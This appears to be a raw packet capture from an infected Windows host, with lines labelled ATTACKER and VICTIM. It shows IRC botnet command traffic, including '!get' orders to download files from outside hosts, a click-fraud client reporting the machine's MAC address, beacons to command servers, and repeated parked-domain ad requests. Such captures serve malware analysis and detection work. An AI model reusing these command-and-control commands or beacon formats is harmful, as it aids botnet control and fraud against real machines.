ATTACKER:	a]:u,v,y=U(n,N+s+\.\),M=U(n,pa+s),V=U(n,qa+s),J,G=[],R=\\,ma=t;n=Q(n)?\\:n;if(e.w){v=P[C][E]&&P[C][E].hash?P[C][E][ia][F](P[C][E][ia][z](\#\)):\\;if(e.U&&!Q(v))R=v+K;R+=P[C][E].search;if(!Q(R)&&U(R,N)){f.yc(R);f.bb()||f.Rb();J=f.da()}v=f.ga;var Y=f.ub,da=f.Ib;if(!Q(v())){Y(Ca(v()));U(v(),\;\)||da()}v=f.fa;Y=f.ra;da=f.wa;if(!Q(v())){Y(v());U(v(),\;\)||da()}}if(Q(J))if(y)if(J=!M||!V){J=p(n,\;\,ba(b));a.A=q}else{J=S(n,N+s+\.\,\;\);G=S(n,pa+s,\;\)[D](\.\)}else{J=[s,a.ic(),b,b,b,1][H](\.\);ma=a.A=q}else if(Q(f.z())||Q(f.ea())){J=p(R,K,ba(b));a.A=q}else{G=f.z()[D](\.\);s=G[0]}J=J[D](\.\);if(P[A]&&o&&o.dh==s&&!e.n){J[4]=o.sid?o.sid:J[4];if(ma){J[3]=o.sid?o.sid:J[4];if(o.vid){b=o.vid[D](\.\);J[1]=b[0];J[2]=b[1]}}}f.sb(J[H](\.\));G[0]=s;G[1]=G[1]?G[1]:0;G[2]=u!=G[2]?G[2]:e.Nc;G[3]=G[3]?G[3]:J[4];f.pa(G[H](\.\));f.tb(s);Q(f.kc())||f.qa(f.L());f.Gb();f.va();f.Hb()};a.rc=function(){i=new Na(e)};a.getName=c(\_getName\,58,function(){return a.q});a.c=c(\_initData\,2,function(){var b;if(!d){if(!a.J)a.J=new Pa(e.\$);a.a=a.cc();a.j=new La(e);a.e=new Ra;r=new Qa(e,ba(a.a),a.j,a.e);a.rc()}if(h()){if(!d){a.aa=a.Zb(a.Pa,P[C].domain);b=new Z(ba(a.a),a.aa,a.r,e)}a.pc(b);r.sc()}if(!d){h()&&b.bc(a.j,a.A);a.Sa=new Ra;\$.load(e,a.j);d=q}});a.Fb=c(\_visitCode\,54,function(){a.c();var b=S(a.j.h(),N+a.a+\.\,\;\);b=b[D](\.\);return b[B]<4?\\:b[1]});a.ed=c(\_cookiePathCopy\,30,function(b){a.c();a.j&&a.j.Sc(a.a,b)});a.F=function(){return a 
ATTACKER:	.Fb()%1E40){p=h[F](0,a);h=h[F](a+1)}var c=p==ja?X:p==ka?Wa:X.Xa(p);c[h].apply(c,g[j].slice(1))}}catch(i){m++}return m}};var X=new Va;var Ya=aa[ja];if(Ya&&typeof Ya._getTracker==\function\)X=Ya;else aa[ja]=X;var Wa=new Xa;a:{var Za=aa[ka],\$a=t;if(Za&&typeof Za[ca]==\function\){\$a=Aa(Za);if(!\$a)break a}aa[ka]=Wa;\$a&&Wa[ca].apply(Wa,Za)};})() 
VICTIM:  	\000\000N! 
VICTIM:  	\000\000N#\000\000\000\00659,1,0 
ATTACKER:	GET /p6.asp?MAC=00-0C-29-51-70-2B&Publicer=bigbuy HTTP/1.1Host: a.95622.comUser-Agent: ClickAdsByIE 0.7.5Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept-Language: zh-cn,zh;q=0.5Referer: http:/a.95622.com/p6.aspContent-Type: application/x-www-form-urlencodedConnection: Close 
ATTACKER:	GET / HTTP/1.1Accept: */*Accept-Language: en-usReferer: http:/www.google.us/url?sa=t&source=web&ct=res&cd=8&url=http:/webabconline.com&ei=TFKmSv_ZE8KJ8QbI49XmDw&rct=j&q=webaba silale maweni&usg=AFQjCNEy91KeXd8I_CBpP158_PXD5IcHiwAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-Alive 
ATTACKER:	GET /webabconline.com.js HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=a4e52a3f-e1df-4a36-b4a0-9f06c7a0dde8&Exp=3/2/2014 2:45:33 AM 
ATTACKER:	GET /css/style.css?rte=1&tm=2&dn=webabconline.com&tid=1016&def=Akamai%3aHostingURL%3dhttp%3a%2f%2fi.nuseek.com%7cParking%3aSkinPath%3d%7cBdyStyl%3aPageBackgroundColor%3d%23fff%7cBdyStyl%3aFont%3darial%7cBdyStyl%3aFontSize%3d12%7cBdyStyl%3aFontColor%3d%230e5fd8%7cBdyStyl%3aPrimaryColor%3d%231b5709%7cBdyStyl%3aPrimaryColorComplement%3d%23fff%7cBdyStyl%3aSecondaryColor%3d%23c44242%7cBdyStyl%3aSecondaryColorComplement%3d%23edc6c6%7cBdyStyl%3aTertiaryColor%3d%23f3f3f3%7cBdyStyl%3aTertiaryColorComplement%3d%23476ec7%7cPgHdr%3aFontSize%3d18%7cPgHdr%3aFont%3dVerdana%7cRelLink%3aFont%3darial%7cRelLink%3aFontSize%3d14%7cRelLink%3aFontColor%3d%23476ec7%7cRelLink%3aHoverFontColor%3d%23c03625%7cRelLink%3aBackgroundColor%3d%23fafad9%7cRelLink%3aDividerColor%3d%23e2dfb8%7cRelLink%3aHoverBackgroundColor%3d%23fbfbf5%7cRelLink%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0006.gif%7cRelLink%3aImageWidth%3d10%7cRelLink%3aImageHeight%3d10%7cBottomNav%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets_9x9%2f0006.gif%7cResult%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0006.gif%7cResult%3aHeaderFont%3darial%7cResult%3aHeaderFontSize%3d12%7cResult%3aHeaderFontColor%3d%23000%7cResult%3aTitleFont%3darial%7cResult%3aTitleFontSize%3d16%7cResult%3aTitleFontColor%3d%2300c%7cResult%3aAbstractFont%3darial%7cResult%3aAbstractFontSize%3d12%7cResult%3aAbstractFontColor%3d%23000%7cResult%3aURLFont%3darial%7cResult%3aURLFontSize%3d12%7cResult%3aURLFontColor%3 
VICTIM:  	d%23008000%7cResult%3aSidebarBorderColor%3d%23ccc%7cSrchBox%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbuttons%2f0006.gif%7cSrchBox%3aImageWidth%3d60%7cSrchBox%3aImageHeight%3d22%7cSrchBox%3aAlign%3dright%7cSearchLinkGroup%3aHoverLinkColor%3d%23ff9%7cUsrCust%3aFontType%3dverdana%7cUsrCust%3aFontSize%3d11%7cUsrCust%3aFontColor%3d%23666%7cUsrCust%3aLinkColor%3d%230e5fd8 HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=a4e52a3f-e1df-4a36-b4a0-9f06c7a0dde8&Exp=3/2/2014 2:45:33 AM 
ATTACKER:	GET /images/template/360x318/ist2_746781_female_student.jpg HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /images/misc/blank.gif HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /images/Themes/T101/buttons/0006.gif HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /e7fb9c74-d425-473f-aa29-615b1138e51d.ippi?g=e7fb9c74-d425-473f-aa29-615b1138e51d HTTP/1.1Referer: http:/webabconline.com/Content-Length: 0User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=a4e52a3f-e1df-4a36-b4a0-9f06c7a0dde8&Exp=3/2/2014 2:45:33 AM 
ATTACKER:	GET /ga.js HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.google-analytics.comConnection: Keep-Alive 
ATTACKER:	GET /images/Themes/T101/bullets/0006.gif HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /list.php?c=B4AC885F94224AE64DAAC6EE0346C213D049B58E0B2969FEDCEBCA8B5FF8F6CEDFE10E13F3845D3386FFC45E0D4897B5778D4CBB9FE6A5F44337&v=2&t=0.345257 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: justnewleft.ruConnection: Keep-AliveCache-Control: no-cache 
ATTACKER:	GET /list.php?c=B4AC885F94224AE64DAAC6EE0346C213D049B58E0B2969FEDCEBCA8B5FF8F6CEDFE10E13F3845D3386FFC45E0D4897B5778D4CBB9FE6A5FF432C&v=2&t=0.5886652 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 5.00.3315.1000; Windows NT 5.0.2195)Host: w.mainpage.cc:888Connection: Keep-AliveCache-Control: no-cache 
ATTACKER:	NICK wnllvuxdUSER s020500 . . :- 
VICTIM:  	Service Pack 2JOIN &virtu 
ATTACKER:	:u. PRIVMSG wnllvuxd :!get http:/lb.mainpage.cc:88/kp.jpg:u. PRIVMSG wnllvuxd :!get http:/www.derquda.com/mj14.txt 
ATTACKER:	GET /webabconline.com.js HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=a4e52a3f-e1df-4a36-b4a0-9f06c7a0dde8&Exp=3/2/2014 2:45:33 AM 
ATTACKER:	GET /css/style.css?rte=1&tm=2&dn=webabconline.com&tid=1016&def=Akamai%3aHostingURL%3dhttp%3a%2f%2fi.nuseek.com%7cParking%3aSkinPath%3d%7cBdyStyl%3aPageBackgroundColor%3d%23fff%7cBdyStyl%3aFont%3darial%7cBdyStyl%3aFontSize%3d12%7cBdyStyl%3aFontColor%3d%230e5fd8%7cBdyStyl%3aPrimaryColor%3d%231b5709%7cBdyStyl%3aPrimaryColorComplement%3d%23fff%7cBdyStyl%3aSecondaryColor%3d%23c44242%7cBdyStyl%3aSecondaryColorComplement%3d%23edc6c6%7cBdyStyl%3aTertiaryColor%3d%23f3f3f3%7cBdyStyl%3aTertiaryColorComplement%3d%23476ec7%7cPgHdr%3aFontSize%3d18%7cPgHdr%3aFont%3dVerdana%7cRelLink%3aFont%3darial%7cRelLink%3aFontSize%3d14%7cRelLink%3aFontColor%3d%23476ec7%7cRelLink%3aHoverFontColor%3d%23c03625%7cRelLink%3aBackgroundColor%3d%23fafad9%7cRelLink%3aDividerColor%3d%23e2dfb8%7cRelLink%3aHoverBackgroundColor%3d%23fbfbf5%7cRelLink%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0006.gif%7cRelLink%3aImageWidth%3d10%7cRelLink%3aImageHeight%3d10%7cBottomNav%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets_9x9%2f0006.gif%7cResult%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0006.gif%7cResult%3aHeaderFont%3darial%7cResult%3aHeaderFontSize%3d12%7cResult%3aHeaderFontColor%3d%23000%7cResult%3aTitleFont%3darial%7cResult%3aTitleFontSize%3d16%7cResult%3aTitleFontColor%3d%2300c%7cResult%3aAbstractFont%3darial%7cResult%3aAbstractFontSize%3d12%7cResult%3aAbstractFontColor%3d%23000%7cResult%3aURLFont%3darial%7cResult%3aURLFontSize%3d12%7cResult%3aURLFontColor%3 
VICTIM:  	d%23008000%7cResult%3aSidebarBorderColor%3d%23ccc%7cSrchBox%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbuttons%2f0006.gif%7cSrchBox%3aImageWidth%3d60%7cSrchBox%3aImageHeight%3d22%7cSrchBox%3aAlign%3dright%7cSearchLinkGroup%3aHoverLinkColor%3d%23ff9%7cUsrCust%3aFontType%3dverdana%7cUsrCust%3aFontSize%3d11%7cUsrCust%3aFontColor%3d%23666%7cUsrCust%3aLinkColor%3d%230e5fd8 HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=a4e52a3f-e1df-4a36-b4a0-9f06c7a0dde8&Exp=3/2/2014 2:45:33 AM 
ATTACKER:	GET /e7fb9c74-d425-473f-aa29-615b1138e51d.ippi?g=e7fb9c74-d425-473f-aa29-615b1138e51d HTTP/1.1Referer: http:/webabconline.com/Content-Length: 0User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=a4e52a3f-e1df-4a36-b4a0-9f06c7a0dde8&Exp=3/2/2014 2:45:33 AM 
ATTACKER:	GET /ga.js HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.google-analytics.comConnection: Keep-Alive 
VICTIM:  	\000\000N! 
VICTIM:  	\000\000N'\000\000\000\007qiufeng 
VICTIM:  	\000\000N! 
ATTACKER:	GET /kp.jpg HTTP/1.0User-Agent: DownloadHost: lb.mainpage.cc:88Pragma: no-cache 
VICTIM:  	\000\000N(\000\000\000\007qiufeng 
VICTIM:  	\000\000N! 
VICTIM:  	\000\000N/\000\000\000jSOFT_VERSION:2.0.0.1 USERAGENT:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) g_strCurrentUser:qiufeng 
ATTACKER:	GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d 
ATTACKER:	GET /webabconline.com.js HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=25b70f2b-e8b6-4f2b-91de-e9c247b1ee1e&Exp=3/2/2014 2:45:53 AM 
ATTACKER:	GET /css/style.css?rte=1&tm=2&dn=webabconline.com&tid=1016&def=Akamai%3aHostingURL%3dhttp%3a%2f%2fi.nuseek.com%7cParking%3aSkinPath%3d%7cBdyStyl%3aPageBackgroundColor%3d%23fff%7cBdyStyl%3aFont%3darial%7cBdyStyl%3aFontSize%3d12%7cBdyStyl%3aFontColor%3d%230e5fd8%7cBdyStyl%3aPrimaryColor%3d%231b5709%7cBdyStyl%3aPrimaryColorComplement%3d%23fff%7cBdyStyl%3aSecondaryColor%3d%23c44242%7cBdyStyl%3aSecondaryColorComplement%3d%23edc6c6%7cBdyStyl%3aTertiaryColor%3d%23f3f3f3%7cBdyStyl%3aTertiaryColorComplement%3d%23476ec7%7cPgHdr%3aFontSize%3d18%7cPgHdr%3aFont%3dVerdana%7cRelLink%3aFont%3darial%7cRelLink%3aFontSize%3d14%7cRelLink%3aFontColor%3d%23476ec7%7cRelLink%3aHoverFontColor%3d%23c03625%7cRelLink%3aBackgroundColor%3d%23fafad9%7cRelLink%3aDividerColor%3d%23e2dfb8%7cRelLink%3aHoverBackgroundColor%3d%23fbfbf5%7cRelLink%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0006.gif%7cRelLink%3aImageWidth%3d10%7cRelLink%3aImageHeight%3d10%7cBottomNav%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets_9x9%2f0006.gif%7cResult%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0006.gif%7cResult%3aHeaderFont%3darial%7cResult%3aHeaderFontSize%3d12%7cResult%3aHeaderFontColor%3d%23000%7cResult%3aTitleFont%3darial%7cResult%3aTitleFontSize%3d16%7cResult%3aTitleFontColor%3d%2300c%7cResult%3aAbstractFont%3darial%7cResult%3aAbstractFontSize%3d12%7cResult%3aAbstractFontColor%3d%23000%7cResult%3aURLFont%3darial%7cResult%3aURLFontSize%3d12%7cResult%3aURLFontColor%3 
VICTIM:  	d%23008000%7cResult%3aSidebarBorderColor%3d%23ccc%7cSrchBox%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbuttons%2f0006.gif%7cSrchBox%3aImageWidth%3d60%7cSrchBox%3aImageHeight%3d22%7cSrchBox%3aAlign%3dright%7cSearchLinkGroup%3aHoverLinkColor%3d%23ff9%7cUsrCust%3aFontType%3dverdana%7cUsrCust%3aFontSize%3d11%7cUsrCust%3aFontColor%3d%23666%7cUsrCust%3aLinkColor%3d%230e5fd8 HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=25b70f2b-e8b6-4f2b-91de-e9c247b1ee1e&Exp=3/2/2014 2:45:53 AM 
ATTACKER:	GET /images/misc/blank.gif HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /images/template/360x318/ist2_746781_female_student.jpg HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /images/Themes/T101/buttons/0006.gif HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /703a0a58-c895-44ee-8c24-9fd28d916ba3.ippi?g=703a0a58-c895-44ee-8c24-9fd28d916ba3 HTTP/1.1Referer: http:/webabconline.com/Content-Length: 0User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=25b70f2b-e8b6-4f2b-91de-e9c247b1ee1e&Exp=3/2/2014 2:45:53 AM 
ATTACKER:	GET /ga.js HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.google-analytics.comConnection: Keep-Alive 
ATTACKER:	GET /images/Themes/T101/bullets/0006.gif HTTP/1.1Accept: */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: i.nuseek.comConnection: Keep-Alive 
ATTACKER:	GET /location/definitions/payday/loans/online_dating.htm?t=&slt=7&slr=3&lpt=1 HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Referer: http:/webabconline.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=25b70f2b-e8b6-4f2b-91de-e9c247b1ee1e&Exp=3/2/2014 2:45:53 AM 
ATTACKER:	GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: recommendauto.comConnection: Keep-Alive 
ATTACKER:	GET /recommendauto.com.js HTTP/1.1Accept: */*Referer: http:/recommendauto.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: recommendauto.comConnection: Keep-AliveCookie: SessionID=7cf4b2b7-7a91-4fe6-a9ba-17cd14957123; VisitorID=939a60db-a3e8-492c-8666-29075e104ff0&Exp=3/2/2014 2:45:56 AM 
ATTACKER:	GET /webabconline.com.js HTTP/1.1Accept: */*Referer: http:/webabconline.com/location/definitions/payday/loans/online_dating.htm?t=&slt=7&slr=3&lpt=1Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=25b70f2b-e8b6-4f2b-91de-e9c247b1ee1e&Exp=3/2/2014 2:45:53 AM; adKnDC=255c2a5c4a4b4413827d7bb97538913a&Exp=3/2/2014 2:45:56 AM 
ATTACKER:	GET /css/style.css?rte=1&tm=2&dn=recommendauto.com&tid=1023&def=Akamai%3aHostingURL%3dhttp%3a%2f%2fi.nuseek.com%7cParking%3aSkinPath%3d%7cBkgBody%3dbackground%3a%23fff+url(http%3a%2f%2fi.nuseek.com%2fImages%2fThemes%2fT123%2fshared%2fbkg_body_1.jpg)+repeat-x%7cTemplateImg-1%3dbackground%3aurl(http%3a%2f%2fi.nuseek.com%2fImages%2fThemes%2fT123%2fblue_steel%2fautos_1%2fimage_500x415.jpg)+no-repeat%7cTemplateImg-2%3dbackground%3aurl(http%3a%2f%2fi.nuseek.com%2fImages%2fThemes%2fT123%2fblue_steel%2fautos_1%2fimage_215x125.jpg)+no-repeat%7cBkgMastHead%3dbackground%3aurl(http%3a%2f%2fi.nuseek.com%2fImages%2fThemes%2fT123%2fblue_steel%2fbkg_masthead.jpg)+no-repeat%7cBkgSidebarHdr%3dbackground%3aurl(http%3a%2f%2fi.nuseek.com%2fImages%2fThemes%2fT123%2fblue_steel%2fbkg_subheader.jpg)+repeat-x%7cBkgBotNav%3dbackground%3a%23617290%7cLinkFontColorPrimary%3dcolor%3a%23507ac5%7cLinkFontColorPrimaryAnalogous%3dcolor%3a%23fff%7cLinkFontColorSecondary%3dcolor%3a%23666%7cLinkFontColorTertiary%3dcolor%3a%23333 HTTP/1.1Accept: */*Referer: http:/recommendauto.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: recommendauto.comConnection: Keep-AliveCookie: SessionID=7cf4b2b7-7a91-4fe6-a9ba-17cd14957123; VisitorID=939a60db-a3e8-492c-8666-29075e104ff0&Exp=3/2/2014 2:45:56 AM 
ATTACKER:	GET /css/style.css?rte=1&tm=2&dn=webabconline.com&tid=1016&def=Akamai%3aHostingURL%3dhttp%3a%2f%2fi.nuseek.com%7cParking%3aSkinPath%3d%7cBdyStyl%3aPageBackgroundColor%3d%23fff%7cBdyStyl%3aFont%3darial%7cBdyStyl%3aFontSize%3d12%7cBdyStyl%3aFontColor%3d%230e5fd8%7cBdyStyl%3aPrimaryColor%3d%231b5709%7cBdyStyl%3aPrimaryColorComplement%3d%23fff%7cBdyStyl%3aSecondaryColor%3d%23c44242%7cBdyStyl%3aSecondaryColorComplement%3d%23edc6c6%7cBdyStyl%3aTertiaryColor%3d%23f3f3f3%7cBdyStyl%3aTertiaryColorComplement%3d%23476ec7%7cPgHdr%3aFontSize%3d18%7cPgHdr%3aFont%3dVerdana%7cRelLink%3aFont%3darial%7cRelLink%3aFontSize%3d14%7cRelLink%3aFontColor%3d%23476ec7%7cRelLink%3aHoverFontColor%3d%23c03625%7cRelLink%3aBackgroundColor%3d%23fafad9%7cRelLink%3aDividerColor%3d%23e2dfb8%7cRelLink%3aHoverBackgroundColor%3d%23fbfbf5%7cRelLink%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0006.gif%7cRelLink%3aImageWidth%3d10%7cRelLink%3aImageHeight%3d10%7cBottomNav%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets_9x9%2f0006.gif%7cResult%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbullets%2f0006.gif%7cResult%3aHeaderFont%3darial%7cResult%3aHeaderFontSize%3d12%7cResult%3aHeaderFontColor%3d%23000%7cResult%3aTitleFont%3darial%7cResult%3aTitleFontSize%3d16%7cResult%3aTitleFontColor%3d%2300c%7cResult%3aAbstractFont%3darial%7cResult%3aAbstractFontSize%3d12%7cResult%3aAbstractFontColor%3d%23000%7cResult%3aURLFont%3darial%7cResult%3aURLFontSize%3d12%7cResult%3aURLFontColor%3 
VICTIM:  	d%23008000%7cResult%3aSidebarBorderColor%3d%23ccc%7cSrchBox%3aImagePath%3d%2fimages%2fThemes%2fT101%2fbuttons%2f0006.gif%7cSrchBox%3aImageWidth%3d60%7cSrchBox%3aImageHeight%3d22%7cSrchBox%3aAlign%3dright%7cSearchLinkGroup%3aHoverLinkColor%3d%23ff9%7cUsrCust%3aFontType%3dverdana%7cUsrCust%3aFontSize%3d11%7cUsrCust%3aFontColor%3d%23666%7cUsrCust%3aLinkColor%3d%230e5fd8 HTTP/1.1Accept: */*Referer: http:/webabconline.com/location/definitions/payday/loans/online_dating.htm?t=&slt=7&slr=3&lpt=1Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=25b70f2b-e8b6-4f2b-91de-e9c247b1ee1e&Exp=3/2/2014 2:45:53 AM; adKnDC=255c2a5c4a4b4413827d7bb97538913a&Exp=3/2/2014 2:45:56 AM 
ATTACKER:	GET /88ab1300-f830-4cea-9864-bed764cb7a2f.ippi?g=88ab1300-f830-4cea-9864-bed764cb7a2f HTTP/1.1Referer: http:/recommendauto.com/Content-Length: 0User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: recommendauto.comConnection: Keep-AliveCookie: SessionID=7cf4b2b7-7a91-4fe6-a9ba-17cd14957123; VisitorID=939a60db-a3e8-492c-8666-29075e104ff0&Exp=3/2/2014 2:45:56 AM 
ATTACKER:	GET /67446fc3-116e-4668-b3a4-ce0c00bca190.ippi?g=67446fc3-116e-4668-b3a4-ce0c00bca190 HTTP/1.1Referer: http:/webabconline.com/location/definitions/payday/loans/online_dating.htm?t=&slt=7&slr=3&lpt=1Content-Length: 0User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: webabconline.comConnection: Keep-AliveCookie: SessionID=177ddc3b-253c-4ef8-b295-a0530d63406d; VisitorID=25b70f2b-e8b6-4f2b-91de-e9c247b1ee1e&Exp=3/2/2014 2:45:53 AM; adKnDC=255c2a5c4a4b4413827d7bb97538913a&Exp=3/2/2014 2:45:56 AM 
ATTACKER:	GET /ga.js HTTP/1.1Accept: */*Referer: http:/webabconline.com/location/definitions/payday/loans/online_dating.htm?t=&slt=7&slr=3&lpt=1Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: www.google-analytics.comConnection: Keep-Alive 
